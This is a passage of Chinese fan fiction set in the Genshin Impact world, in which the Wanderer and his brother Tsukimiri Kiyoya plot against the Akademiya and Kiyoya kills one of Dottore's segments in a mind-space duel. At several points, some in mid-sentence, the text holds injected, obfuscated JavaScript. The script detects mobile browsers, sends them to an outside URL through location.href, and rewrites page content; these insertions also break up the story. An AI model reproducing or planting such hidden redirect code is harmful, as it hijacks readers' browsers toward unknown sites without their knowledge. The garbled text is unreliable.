既然是给斯黛拉的,卡斯珀肯定不会拆开看,盯着月见里清也把药吃了。 只要不是难喝的药汤,月见里清也在吃药这方面还是很配合的,他把药咽下去问:“后来呢,博士接手了,效率不会这么慢吧?” 他话音刚落,散兵的声音冷不丁自他耳边响起,“躺好,不然不和你说。” 月见里清也被吓了一跳,转头看去,见散兵的虚影抱着胳膊靠在墙边,他下意识抬眼看了看时间,“你怎么现在就有空过来了?” 散兵眉尾一挑,显然对月见里清也这个回答不满意,“看望我受伤的弟弟还需要向那帮蠢货请示时间?” “我不是那个意思……” 见月见里清也转头跟一旁的空气说话,旁人见了或许以为他疯了,但卡斯珀对这情况已经见怪不怪了,“你哥过来了?” 月见里清也点头。 “好吧,你们聊,我可以下班了。”卡斯珀语气轻快,一边说着一边收拾东西。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441463|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月见里清也疑惑地盯着他,想起从自己醒来到现在卡斯珀干过的事,除了跟他说昨晚发生了什么外,就是看着自己吃药,俨然像个陪床的。 他原本以为卡斯珀是来做什么状况评估的,结果这都要走了,卡斯珀依旧没有那个意思。 月见里清也思绪飞转,突然福灵心至,看了看他哥又看向卡斯珀,幽幽的来了一句:“你该不会是来盯着我不让我乱跑的吧?” 被戳中心思卡斯珀,心虚的咳了一声,权当没听见这话,凭感觉给散兵打了个招呼,飞速跑了。 月见里清也:“……” 他看向另一位来盯着自己不让乱跑的人,表情有些摊,“至于吗?” 散兵偏头笑了半天,没接话茬。 月见里清也不是分不清局势的人,在这个紧要关头之下,他当然不会乱跑,但对于外界的消息,他必须要每条都掌握。 教令院将这场意外定性为:草神从净善宫中逃脱,联合一位旅行者入侵并破坏梦境系统。 这件事被博士接了过去,于是他们的工作就从追捕小吉祥草王,变成了升级改造关押小吉祥草王的系统。 而另一边的博士,借助散兵提供给他的东西,在今晚轻松预判了草神一行人的行动,在教令院门口逮了个正着。 但他并没有今晚就实施抓捕,用他的话来说,就是“草神利用虚空进行意识转移,恐怕要更高级的权限才能将其禁锢。” 说的是谁已经不言而喻。 月见里清也知道散兵将昨晚草神在梦境系统的行动数据给了博士,这是他们一早计划好的。只是博士能够通过这点东西推测出来他们掌握了虚空权限,这点是月见里清也没想到的。 对博士来说,此行的目的一是神之心,二是降神计划,教令院已经完成了它的作用,至于他倒不倒台,对博士而言并没有那么重要。 他说这番话的原因,无非是在暗示明天让散兵出手,月见里清也忍不住嘱咐散兵,“明天切记不要以真面目示人。” “我知道,不会让草神和旅行者发现我是谁的。”散兵心中有数,示意月见里清也安心。 其实不用月见里清也嘱咐,散兵也知道该如何去做。就像几日前,一位学者的意识突然通过世界树与正机之神产生连接,要不是他反应极快的给自己套了伪装,恐怕自己的经历就要暴露在她的眼前了,就像月见里清也第一次与他连接时的那样。 月见里清也的计划是要借刀杀人,想要这把刀心甘情愿的被自己使用,那就得让空相信散兵绝对没有牵扯到这件事中来。 虽然梦境系统崩溃,草神撤销了月见里清也的操作,但他通过虚空权限,将这份梦境备份,转化成一份特殊的记忆,藏在须弥民众的潜意识中。 “等着教令院彻底垮台,这份记忆会全部替换人们意识中关于“神明”的部分,到那时人们眼中的神明,就只有你一位了。”月见里清也说,“所以在教令院垮台之前,只能委屈一下哥哥了。” 散兵倒觉得没有什么,“无所谓,反正这一天的到来已经不远了,不是吗?” 他们来须弥将近一年,如果要把登神比作一场映影的话,此刻才算正式拉开序幕。 月见里清也正要点头,就见散兵忽然倾身向前,直视着月见里清也,声音一沉,“但在此之前……” 散兵顿了顿,说:“昨天在虚空系统里,你那句‘是我将特殊权限移交给你’是什么意思?” 79.曾经焚烧一切的火 话题转的太快,月见里清也一时间没反应过来,愣了片刻后才将虚空系统中发生的一切都详细与散兵说一遍。 散兵要是不问,他可以不说,但散兵问了,月见里清也自然不会有任何隐瞒。 就如月见里清也所想,散兵听完后眉头狠狠一皱,“我并没有做过这件事,你确定那个‘用户1’就是我?” 月见里清也已经从最初的震惊中平复,现在已经能冷静的思考这件事,闻言他点点头,“除了第一次登录时间是一团乱码,其他的都与你进行机体连接的日期分毫不差。” 他说完向着床的内侧挪了挪,示意散兵坐下。 在意识体状态下,散兵感觉不到累,但看到月见里清也坚持的样子,还是坐在他给自己让出来的空处。 “教令院防我防得紧,只允许我连接世界树,从来没让我接触过虚空系统的权限。”散兵冷嘲一声说。 也正因如此,才证实了虚空系统所说的那句“与世界树绑定”绝非虚言,散兵仅仅是与之连接,都未曾主动在世界树搜寻过什么,还是被虚空系统识别到了。 “除了这个“用户1”的身份成谜,这个特殊权限本身也很让人费解。”月见里清也继续分析着。 特殊权限等同于最高权限,虚空最高权限拥有者就只有两位,大慈树王与小吉祥草王,连阿扎尔都排不上号。他与散兵这两个外来人,究竟是怎么被世界树认可,拥有肩比神明的位格的? 月见里清也的伤还没好利索,一想事脑袋就开始隐隐作痛,他一手揉着额角,仔细回想自己连接世界树时有没有遇到那些特殊的事。 忽然他揉着脑袋的手一顿,双眼微微睁大了些,抬眸看向散兵问道:“你在连接世界树时有没有遇到过一些特殊的事?” “没有。”散兵回道,他注意到月见里清也的神色,敏锐的反应过来,问道:“你遇见了什么?” “还记得我跟你说过,我第一次连接世界树时遇到深渊了吗?”月见里清也说着深吸一口气,“深渊拟态出了一场大火,在那之后,我遇见了一只猫,是那只小猫带着我找到了世界树,教给我怎么在世界树搜寻知识的方法。” “猫?”散兵不解,这描述放在任何一个人上都不会有任何问题,可偏偏是一只猫。 “很奇怪吧?所以我当时向世界树询问了这只小猫的来历。”月见里清也扯了扯嘴角,露出一个极其复杂的笑容,“世界树给我呈现的也是一场大火,世界树在那场大火中被烧成灰烬。但随后,不知道什么人阻止了世界树燃烧,让它自一片灰烬中重获新生。” 世界树会将一同诞生的草神放到最高权限的第一位,那这个特殊权限的拥有者估计就是这位让世界树死后重生的人了吧。 “所以,哥哥。”月见里清也轻声将心里的推断说出来,“那个人……很有可能是你。” 散兵沉默片刻,不知道要怎么回答月见里清也的话,最后只能诚实说:“我不知道。” 意识没有实体,月见里清也的手只能虚虚搭在散兵身上,转而提了另一件事,“你有没有发现这几件事的共同点?” 散兵略微思索,沉声道:“火,不管是深渊拟态,还是小猫,都指向了烧毁世界树的大火。” “没错,而且还有另一个人,他也与这场火有关。”月见里清也吐出一个人名,“青羽澈。” 说起青羽澈,散兵的脸色堪称精彩,月见里清也不知其中的底细,但他先示意月见里清也先讲。 月见里清也说:“青羽澈怕火,他是依托地脉存在的记忆体,能够跟随我进入世界树,深渊魔物就是读取他的记忆才复现出了那场大火,他可能是亲历者。” 想通这件事之后,之前许多疑惑也迎刃而解。 假如这就是青羽澈要避免的未来,所谓的“将命运拉回正轨”这类的谜语,无非是要避免散兵因救世界树而死亡的结局。 只是,按照命运来讲,这本该是未来之事,怎么会被世界树记载在内? 同时世界树的户口就是一个萝卜一个坑,死后都不会销毁,为什么虚空系统会显示“用户1”的身份无法查询? 对于月见里清也的前一个问题,散兵到可以回答,但说起这事,就要提起青羽澈。 散兵那天退出梦境后遇到青羽澈的事简单复述了一遍,他清楚的记得,青羽澈跟他说话时,在“时间”“生死”上加重了语气。 时间、生和死,三个词都在暗示四位执政,“生死”暂时想不出别的头绪,可“时间”或许就是解释现在问题的关联。 “如果这件事不是未来,而是过去呢?”散兵忽然开口说,“在时间的纬度下,执着过去、现在、未来是一件没有意义的事,它可以是尚未到来的明天,也可以是早已过去的昨日。” 月见里清也一愣,感觉脑袋更疼了,“什么意思?” 散兵伸手按住月见里清也的额角,轻轻揉着,换了个更好理解的例子,“像教令院收集梦境能量的计划,让民众认为自己清醒,一遍又一遍的经历一天的事,就像永远都走不出去的循环。” 他虽没有实体,但他身处月见里清也的精神之中,可以构建一道屏障,暂时替月见里清也隔绝部分疼痛,一种意识欺骗罢了,月见里清也却十分受用。 但散兵这句话无疑是给他惊出一身冷汗,“你是想说,提瓦特也在经历一场循环?” 只要循环次数足够多,总会有人察觉到,为了挣脱循环,他们会留下部分线索,好让下次轮回的自己沿着自己的道路继续前行。 那个特殊的权限也好,青羽澈也好,都是如此。 “但不管怎么说,这绝非现在的我所做的。”散兵恢复了一贯的冷静,“何况,这也是我的推论,缺少实证。” 月见里清也越想头越痛,左想右想想不出个所以然,恨不得当场跑回工坊重新连接世界树。 他猛的一起身,就被头痛逼地砸回床上。 “行了,先休息。”散兵看着他这副摸样,眼底浮现一抹笑意,“你许下的承诺我都还记得,但先养精蓄锐,才能让我见证你所说的‘奇迹’。” 第二天清晨,卡斯珀趁着上班前的时间,将月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16443629|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见里清也写的信交到斯黛拉的手中,他没问月见里清也找她什么事,斯黛拉也没主动将信件拆开。 三人彼此心照不宣,卡斯珀和斯黛拉都清楚该怎样独善其身,月见里清也也无意将他们卷入更深的泥潭。 所以在卡斯珀推开病房门进来时,月见里清也就开门见山的问:“你打算什么时候走?” 卡斯珀疑惑的看着他,“我才刚上班。” “我说的是辞职,卡斯珀。”月见里清也认真道,“我之前就嘱咐过你,要给自己留退路。” 卡斯珀之前之所以推脱,一是因为自己家里缺钱,二是因为散兵和月见里清也还在愚人众里。现在他的家境比之前好了很多,散兵兄弟两个也脱离了愚人众。于情于理,他确实没有理由继续留在这里了。 “我就算想辞职,也得回至冬总部提交手续,我难道要在这里跟博士打辞职报告吗?”卡斯珀摆了摆手,“你现在这样好像我回去后就会被判通敌一样。” 月见里清也默默地送给个他一个“不然呢”的眼神。 在给散兵留完登神失败的退路后,他又忍不住开始操心卡斯珀。 试问,一个本该借调后在博士手底下干事的愚人众技术员,结果和叛逃的执行官混在一起,甚至帮助他在他国登神,一旦回至冬,等着他的能有什么好果子吃? 见月见里清也不像在开玩笑,卡斯珀在他的逼视下终于退了一步,“几天后,我就跟着第一批回至冬的愚人众回去,立马去办离职。” 月见里清也稍稍安心,随口问了一句:“怎么几天后就要开始撤人了?” “不清楚,听第二席的人说,博士好像也回去。”卡斯珀一边填表一边说,“话说回来,你这位‘重伤员’,打算休到第几天才康复出院?” 月见里清也闻言一皱眉,降神计划还未迎来最后的结局,博士现在放出要返回至冬的消息,恐怕回去的也不是本体。 他眼前浮现博士切片那张似笑非笑的脸,一个想法浮上心头,嘴角一勾,笑得意味深长,“那就休息到博士走的那天吧。” 散兵今日要配合博士追捕草神,暂时没空过来看月见里清也,月见里清也是在几个小时后通过暗线才得知行动结果。 空和草神在禅那园被堵了个正着,草神的意识重新被囚禁在净善宫内,空和派蒙则在那位巡林官提纳里的带领下,成功逃脱追捕返回化城郭。 与此同时,月见里清也拜托卡斯珀送给斯黛拉的那封信,又被斯黛拉送到柯莱手中,柯莱最后转交到空的手上。 信封上没有署名,空皱着眉展开信,看到里面的内容时,脸色陡然一变。 【致旅行者: 想必你现在应当遇到了一点麻烦,关于我上次提到的问题,想必你心里已经有了答案,怎么样?是要继续孤身与教令院和愚人众对着干,还是暂时不计前嫌,一同扳倒教令院? 如果你依旧是之前的答复,我当然尊重你的选择。但如果你改了主意,不妨去阿如村找一个人,他会告诉你后续该如何做。 月见里清也敬上。】 80.识藏日行动(其一) 不管空接不接受合作,月见里清也的暗线一直在紧盯着他们的一举一动。 后面几天里,空和派蒙二人按照草神留下的嘱咐,前往沙漠,一路上的经历堪称精彩,反抗教令院的火种确实在沙漠中被点燃,逐渐形成燎原之势。 但不论如何,他们制定反抗教令院的计划无法离开一手情报。兜来转去,最后又回到了那封信上。 而月见里清也留在阿如村的暗线,终于在博士的切片离开须弥的前一日送回了消息。 空虽然接受月见里清也的情报,但依旧对他十分警惕,月见里清也对此却毫不在乎。 就像人不会去揣摩的利刃想法,月见里清也也不在乎这空把“刀”是否信任自己,只要他们能够在必要的时候快速斩断教令院的桎梏,这就足够了。 月见里清也给暗线下了新命令,将之前就准备好的情报送给空。 这份情报不包含降神计划和梦境系统,只是一份识藏日的布防图,以及阿扎尔当天的行程安排。 至于空他们要怎么营救草神、扳倒教令院,这些月见里清也都不在意,但在等待教令院垮台之前,他还有另一件重要的事情要去做。 识藏日当天也是月见里清也的病假最后一天,卡斯珀已经随着提前一批返回至冬的船走了,散兵白天则要忙着应付那帮教令院的学者,也是就说,今天没人看着他。 而他的病房也不会有人进来打扰,这给月见里清也偷溜出去提供了极大的便利。 他没有立马溜出降神工坊,反而转身避开人群往工坊深处走去。 工坊最深处的实验室中,所有研究员动作一顿,纷纷停下正在忙着的事,往实验室外走去。 所有研究人双目无神的往外走,这画面看着实在诡异,散兵皱了皱眉,刚想探查一二时,就见一抹熟悉的身影刷开大门,大摇大摆的走进来。 一看是月见里清也,散兵紧绷的肌肉逐渐放松,问道:“你怎么来了?” 月见里清也张了张嘴,听着这句有些耳熟的话突然想起什么,马上就要说出口的话在嘴里转了个弯,“来看哥哥难不成还要和现在都不知道自己蒙在鼓里的学者们打招呼?” “啧,学得到快。”散兵挑了挑眉,看着这个学自己说话的“学人精”,“不过,按照你的计划,现在不还是坐等收网的时候,什么东西又让你坐不住了?” “我要去做一件事。”月见里清也眉眼一弯,笑盈盈地看着他,“一件……你知道了可能会不同意的事。” 须弥奥摩斯港的维卡拉商栈内,空和派蒙正同迪希雅做着计划中最后的准备工作,从三人藏身的地方向外看去,能正好看见一支马上要离港的愚人众船队。 而船队上领头的不是别人,就是那位放出消息要离开须弥的愚人众执行官博士。 迪希雅压低声音对空说:“看来没有说谎,他的确是要离开须弥。” 空沉默地点点头,月见里清也给他分享的情报里只字未提愚人众的行动,若非他们从提纳里口中得知博士今天一早找过他,恐怕现在都不知道博士打算离开须弥。 凭月见里清也可以轻松的搞到教令院的布防图和大贤者的行程来看,空不信他是单纯的不知道,只是故意隐瞒罢了。 所以在空在心里,他仍然觉得月见里清也还跟愚人众统一战线。 他们距离船队太远,只能听见周围愚人众士兵零零碎碎的交谈声,“哎,你听说了吗,昨天负责降神计划的那位长官也跟着船回至冬了,现在大人也走了,你说这个计划是不是……” “哪个长官啊?”他的同伴有些困惑。 “就是之前跟第六席执行官还有他那个副官关系特别好,最开始被调到三层的核心区工作的那个。”士兵说,“估计是前不久梦境系统崩坏导致才被牵连的吧,听说到现在能量供应都没重新启动。” 他的同伴说:“或许吧,不过你看博士大人容光焕发打样子,计划像有事的样子吗?真有事也跟咱们关系不大吧,不是已经被教令院全面接手了吗……咳!” 正在交谈的两位士兵注意到自己长官扫过来的视线,二人连忙噤声。 这话传到被迫听墙角的三人耳中,派蒙闻言小声说:“额……他们说的该不会是上次我们和纳西妲干的那件事吧?” “应该是,”空若有所思道,“不过按照他们说的话来看,能量供应没启动,或许教令院遇到了些麻烦事。” 但眼下他们还是要注重眼前之事,这里无法进一步看清船上的情况,迪希雅当机立断,拍了拍身旁空的肩膀说:“在靠近些,找个更隐蔽的地方观察博士的情况。” 借着人群与建筑的遮挡,空和迪希雅还有派蒙三人快速在新的隐蔽处藏好身形。 空的脑中仍回想着那两位士兵的对话,他们的话语中好像提到了第六席的副官,月见里清也刻意不说博士的行程,会不会是为了让自己的注意力都放在教令院那边,忽略掉愚人众的行动?既然如此,博士离开须弥这件事真的会有这么简单吗? 就在空思绪翻涌的时候,他注意到身旁迪希雅身形突然一僵,紧接着就是派蒙压低声音的惊呼。 “怎么了?”他下意识问了一句,顺着二人视线看去,却径直撞上了博士看过来的目光。 派蒙神色紧张,结巴了一下,“他……他好像看见我们了。” 尽管博士没有表现出什么杀意,空和迪希雅都不敢掉以轻心,大脑飞速运转思考该如何全身而退。 然而就在这时,奥摩斯港的人来人往的喧闹声与海浪拍打岸边的声响顿时消失的无影无踪,四周陷入一片寂静 空猛地转头看向派蒙和迪希雅,发现她们正看着自己,脸上带着同样的惊疑,迪希雅说了些什么,但空什么都听不到。 然而声音的消失仅仅是个开始,紧接着奥摩斯港的那些旅人与商户,就连在船只周围的愚人众士兵的身影都开始变得暗淡,最后只剩下的空和博士还站在原地,其他人全都消失不见。 这时,一阵轻响由远及近,刚在稻妻旅行完的空几乎立刻反应过来,这是木屐磕在地面上发出的轻响。 博士也被这阵脚步声吸引,视线转向一旁,看清来者是谁后却突然笑出声,“真令我意外,你也是来为我送行的?” “送行?”月见里清也身影自暗中走出,缓步走到博士面前。 “你误会了,”他手中长刀早已出鞘,刀尖指向博士,嘴角慢慢勾起一抹笑,丝毫不收敛自己身上的杀意,“我是来,送你上路的。” “哦?”博士视线饶有趣味的重新落在空的身上,打量着他,“那么,这位不请自来的观众,也是你计划中的一环?” 既然被点破,空也没必要继续藏着,坦然的站在二人面前。 月见里清也顺着博士的视线看过去,看见空的时候眉尾微微一挑,有些意外,但随即漠然的收回视线,“我知道你在其他国家喜欢助人为乐,但这是我和他的个人恩怨,建议你自己找个地方老实待着,等一切尘埃落定,自然会让你去找你的朋友。” “听你的语气,似乎对此胜券在握,看来记忆恢复不光给你带来了仇恨,还有盲目的自负。”博士声音带着几分玩味,好像是在嘲笑月见里清也的不自量力。 他说着摊了摊手,做了个略显遗憾的手势,“我倒是不介意陪你活动一下,只可惜,女皇陛下的命令不容违抗,恐怕要速战速决了。” “盲目的自负?”月见里清也闻言冷笑一声,“这句话原封不动的送给你。” 他话音刚落,博士骤然出手,冰元素凝聚成的冰锥带着破空之势,直冲而来。 月见里清也站在原地未动,手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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月见里清也心头一紧,立刻用心声喊到:“你别插手!” 博士借势拉开与月见里清也的距离,手上重重一挥,断裂的冰面凝聚出无数冰刃,铺天盖地的袭向月见里清也。 面对扑面而来的攻击,月见里清也脸上仍不见惧色,他挥刀的动作快出了残影,将冰刃斩断后,电弧缠绕全身,抬脚就向博士冲来。 博士应对着月见里清也的攻击,目光却越过他的肩头,却落月见里清也身后。 那些被斩断的冰刃又在月见里清也的背后重新聚合起来,眨眼间便刺了过来。 就在千钧一发之际,一道白色的流光自无数冰刃中穿刺而过,冰刃自内向外轰然炸裂,泯灭成尘。 白光拦下攻击后并未消失,反而融合进月见里清也的手中,顿时刀身雷光大作,裹挟着千钧之力斩向博士。 博士横剑格挡,被冲击力逼的后退几步,正好靠近海面的缺口边缘,他眼神闪过一丝了然:“原来如此,核心的能力是增幅自身的……” 他话音刚落,又一道惊雷穿过乌云落下,直接穿透了他的肩膀,将博士钉在海面上,雷光落在海面上,逸散的电弧又化作尖刺,重新从他身内穿出。 月见里清也微微一怔,“你……” “别分神,”然而他话还没完,散兵就打断了他,“我在你的意识之中。” “面对他这样不要命的疯子,你只有同样不择手段,才能战胜他。”散兵的虚影笼着月见里清也,在他耳边轻声说:“现在收起你那副君子做派,想想你在深渊是怎么活下来的。” “你留给我的东西我已经看完了,”散兵握住月见里清也的手,带着月见里清也举起手中的长刀。 “我已经很久没握刀了,”他似乎是轻笑了一声,“清也,准备好了吗?” 81.识藏日行动(其二) 月见里清也没回话,他的手被散兵紧紧握住,恍惚间好像回到了小时候第一次拿起刀的时候。 在自己刚学刀的时候,如果一个动作始终做不对,散兵就会像现在这样握住他的手,纠正错误,再放手让自己去练。 现在也是同理。 然而散兵没给他怀念过去的时间,见月见里清也默认,下一秒便带着他如离弦之箭一般向着博士冲过去。 就在这时,博士猛的挣脱贯穿他身体的雷光,染血的手掌向下一按,破碎的冰层瞬间化作无数地刺拔地而起,封死了散兵的进攻路线。 月见里清也下意识想要挥刀斩断那些地刺,但散兵操控着他的身体不让他做多余的动作,视那些冰刺无物。脚下在冰刺轻点借力,穿梭其间,手中长刀攻势不减,直冲对方要害而去。 只听“铛”地一声,博士勉强架住攻击,但因刚才肩膀的贯穿伤,这一招挡的十分勉强。也就是这一瞬的破绽,散兵看准机会手腕一转,长刀毫不犹豫地劈向博士的胸口。 这一刀狠厉又果断,博士果断向后撤身,让这一刀劈了个空,目光带着审视的意味看向月见里清也。 方才那一刀确实出自于眼前的月见里清也,但从月见里清也身上透露出来的杀意与狠厉,与他记忆中的另一个人身影逐渐重合。 月见里清也的刀术是散兵手把手教出来的,但他擅长利用环境和灵活运用元素力,刀法灵活多变,依靠出其不意制胜。 就像最开始,博士称他的攻击过于“活泼”一样。而刚才那种狠厉依靠绝对力量压迫的攻击方式,绝非出自月见里清也之手。 博士抬眸,正好对上月见里清也与散兵如出一辙的堇色眼睛,恍惚间,站在他面前的不再是月见里清也,而是自己的那位同僚。 方才的攻击需要强大的爆发力,月见里清也嗓子泛上一阵铁锈味,他调整着自己的呼吸,转了转有些发麻的手腕。 散兵从带着他开始进攻到结束,快到不过眨眼之间,但这短短一瞬,已经成功的将月见里清也的情绪调动了起来。 这种不断触及自己身体极限的攻击方式代替深渊唤醒了月见里清也身体记忆,扯着他重新找回在深渊厮杀的状态。 长时间在深渊厮杀给二人都留下了精神上的后遗症,虽然离开深渊后就再也没出现过,但这并不代表它消失了。 “他应该发现了。”月见里清也的理智压制住想再次冲上前的冲动,轻声说着。 “嗯,所以呢?”散兵丝毫不在意博士如何,松开了两人紧握着的手,“别看他,我刚说的你都听进去了吗。” 散兵点醒了他,自己之所以能在那场意外中重伤博士,是因为当时自己脑海中,除了杀死博士之外并没有其他的想法。 而现在的他虽然有同样的想法,但在对战时,面对迎面而来的攻击,月见里清也的理智让他第一反应是抵挡避让,而不是迎面而上。 面对敌人时有理智固然是一件好事,但是这样只会让他跟博士打的有来有回,时间一旦拉长,就会陷入僵局。 万一眼前的这个切片通知留在教令院的本体前来,那才是真的死路一条。 对月见里清也来说,他的眼前只有速战速决这一条路。 “看来这里还有一位没现身的观众。”博士说着,用冰元素将还在渗血的伤口冻住,他张了张嘴,似乎就要将那个名字喊出口。 但在他出声之前,月见里清也飞身向前,硬生生打断了他的话,“喊他做什么,这件事从一开始就只是你我的恩怨。” “是吗。”博士说着手中刺剑向着月见里清也的脖子刺去。 月见里清也没有避让,头微微一偏,刺剑擦着他的脖子过去,腰身一转,长刀向着博士的胸口刺过去。 锐利的刀锋划破衣物,但在伤及皮肉之前,一阵寒气迅速凝聚成坚冰,阻挡住了攻击。与此同时,身后破空声传来,冰刺调转方向,彻底围堵住了月见里清也的退路,让他避无可避。 然而在这电光火石之间,月见里清分毫未退,反而用尽全身力气将刀向前压去,任由身后的冰刺穿透自己的腰腹与肩膀。 疼痛在脑海中轰然炸开,鲜血顺着伤口涌出,将衣物染得血红,但月见里清也像是不知道疼痛,调动核心力量激化自身的力量,接近暴虐的雷元素撕裂了博士用来保护自身的坚冰。 博士反手握住刀刃,利刃划破了他的掌心,鲜血顺着长刀滴落。 月见里清也垂眸扫过那片殷红,扯了扯嘴角,“人类的身体的确有很大的束缚,为什么你不先给自己进行改造来摒弃掉这些缺点呢,多托雷?” 海面顿时波涛汹涌,海水上涌汇聚在刀刃上,月见里清也双手下压,刀尖瞬间突破了博士的抵抗,深深的没入博士的胸口,就像博士曾经毫不留情地贯穿他的胸膛一样。 胸口被贯穿的那一刻,博士猛的愣在原地,难以置信的看向完全没入胸口的长刀。 “还你的。”月见里清也看着博士错愕的表情,逐渐与那天他脸上的表情重合,仿佛他又回到了那天的实验室中。 当时重伤博士带来的快感在此刻又重新自他心中蔓延上来,月见里清也脸上的笑意越来越盛,将长刀抽出时手都在轻微颤抖。 博士的身形瞬间瓦解,他的目光死死盯着月见里清也,嘴角勾起一抹意义不明的笑,彻底消散成漫天光点,消失在月见里清也临时构建的意识空间之中。 月见里清也浑身是血站在原地,他捂着受伤的腰腹闭了闭眼,还是没忍住笑出了声,那笑声越来越大,在意识空间里回荡。笑声里带着大仇得报的快意,更带着一丝他自己都未曾察觉的疯狂。 “好了。”散兵在一旁看着,伸手握住他还在轻颤的手,轻声说,“都结束了。” 月见里清也止住笑声,胸膛剧烈起伏着,看向自己身上的血迹,他自己也分辨不出这到底是自己的血,还是博士的。 “我……”月见里清也张了张嘴,刚吐出一个字,随后意识到意识空间中还有另一个人,他抬眼看过去,见空正紧握着武器,一脸戒备的盯着自己。 空确实老实待在一旁旁观这场愚人众内斗的大戏,但月见里清也眼中杀意未褪,谁也不知道接下来他想干什么。 “放轻松,我是没力气再跟你打一场了。”月见里清也说着挥了挥手,准备关闭意识空间。 空戒备的盯着他,“你明明有杀气博士的实力,逃脱他的掌控对你而言应该不难吧,为什么还要找上我?” “杀死他?”月见里清也嗤笑一声,“博士在愚人众执行官里排名第二,公子应该告诉过你,执行官按照实力排名,你觉得他刚才是真的败给我了?” “你的意思是他没死?”空皱眉问道。 “不,他确实死了。”月见里清也说,“看在你没给我添乱的份上,我给你个忠告吧。” 意识空间正在消散,月见里清也跟空擦肩而过,在他耳边留下一句,“永远不要轻易的相信自己眼睛看到的东西。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468062|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“另外,我很期待你跟你的伙伴在今天的行动,别让我失望。”话音刚落,月见里清也身影就随着空间消散。 距离奥摩斯港几百米外的树林里,月见里清也靠在树上,腰腹和肩膀的伤口血流不止,将草地染的一片血红,他垂眸看了一眼,皱了皱眉,不耐烦的“啧”了一声。 作为空间的构建者,只有月见里清也自己是肉身进入空间,其他三个人都是意识进入,这也就意味着,月见里清也在里面受得伤都会原原本本的带出来。 意识进入也不是百分百的安全,像博士的意识在空间中消散,现实中的身体也不可能再活了,死了就是死了。 但有的人死了都不消停,月见里清也看向低声嘟囔着:“故意让我杀死他,又在背后下毒,这人是不是挺玩不起的?” “省些力气。”散兵的身体依旧是虚影,不能凝出实体替月见里清也包扎,他下意识伸手,却直接穿透了月见里清也的身体。 他蜷缩起手指,低声问道:“能撑得住吗?” 月见里清也咬着从衣服上随手撕下的布条,将肩膀上的伤包好,指尖因失血微微颤抖,他用长刀撑起身体,斩钉截铁道:“可以。” 话虽如此,月见里清也额间不断冒出冷汗,碎发黏在脸上,看起来狼狈不已,他只是在硬撑罢了。 博士的毒显然不止是阻止伤口愈合,没走出多远,月见里清也眼前便阵阵发黑,脚下一晃,踉跄着撞向一旁的树干。 他连忙扶住一旁的树干,冷汗顺着脸颊滑落,“哥哥……可能得麻烦你带我回去了。” 说是“带回去”,实际上就是散兵接管他身体,操控他返回教令院。 散兵应该是说了什么,月见里清也没听清,他身体往旁边一歪,眼看他就要摔倒在地,散兵连忙接管他的身体。 但在彻底掌管之前,有人就先一步接住了月见里清也。 月见里清也倒的不偏不倚,正好砸在卡斯珀胸口上,卡斯珀被撞的肋骨一痛,慌忙架住他,“您老人家还真是每次都能给人带来新的惊喜啊。” “你怎么回来了……”月见里清也额头也跟着一痛,又短暂清醒过来,模模糊糊认出来接住他的人是卡斯珀,“不对……你说谁老呢?” 卡斯珀气笑了,哭笑不得的说:“重点是这个吗?!” 他说完不稀得搭理月见里清也,接着转向一旁,“大人,你应该在这吧?长话短说,您现在必须立马返回降神工坊,教令院恐怕已经知道虚空权限出问题了。” 同一时间,教令院内。 博士凝视着切片同步传回的影响,虽然他损失了一个切片,但他却收获了他一直都想要核心的数据,因此他的心情还算可以。 那个自称青羽澈的少年说的不错,月见里清也的核心中的能量之所以能给正机之神功能,其奥秘远不止于地脉。 只可惜自己不能亲手研究一二。 博士略显遗憾的想着,突然他目光一顿,似乎像是想到了什么。 他只是现在不能进行研究,不代表以后不能。万一降神计划失败,他就能以“回收重要实验物品”为由,带走月见里清也。 反正到那时,重伤的散兵根本没有能力能够阻拦自己。更重要的是,青羽澈的“预言”明确说过,降神计划必须失败的。 虽然被一个来历不明的小子否定成果令人不悦,但借此机会,将那颗特殊的核心收入囊中…… 那这场失败,就只是通往成功的另一个阶梯罢了。 82.如临神之畔(其一) 博士下的毒并不致命,伤口无法愈合大量出血加上心绪激动才是让月见里清也突然昏过去的原因。 返回教令院后,月见里清也的情况比在奥摩斯港时好了不少,身体里残留的毒素影响了伤口的愈合速度,不过这点小伤对他来说,暂时无足轻重。 